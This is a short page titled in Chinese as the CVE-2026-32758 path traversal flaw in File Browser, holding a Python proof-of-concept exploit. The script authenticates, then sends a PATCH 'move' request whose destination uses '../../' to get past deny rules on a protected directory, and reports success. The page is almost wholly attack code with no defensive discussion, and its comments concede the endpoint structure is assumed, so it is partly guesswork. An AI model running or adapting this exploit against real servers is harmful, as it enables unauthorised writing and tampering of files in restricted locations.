CVE-2026-32758 File Browser路径遍历漏洞

import requests import json # Configuration target_url = "http://example.com/api/resources/" username = "attacker" password = "password" login_url = "http://example.com/api/login" # 1. Authenticate session = requests.Session() login_data = {"username": username, "password": password} response = session.post(login_url, data=login_data) if response.status_code != 200: print("Login failed") exit(1) # 2. Prepare malicious payload # Attempt to move 'malicious.txt' to a protected directory using path traversal source_file = "malicious.txt" # The destination contains '../' to bypass deny rules configured on 'protected_dir' destination_path = "../../protected_dir/malicious.txt" headers = {"Content-Type": "application/json"} payload = { "action": "move", # or 'rename' depending on context "destination": destination_path, "overwrite": True } # 3. Send Exploit Request # Assuming the endpoint structure based on resourcePatchHandler description exploit_url = f"{target_url}{source_file}" response = session.patch(exploit_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Exploit successful! File moved to restricted path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)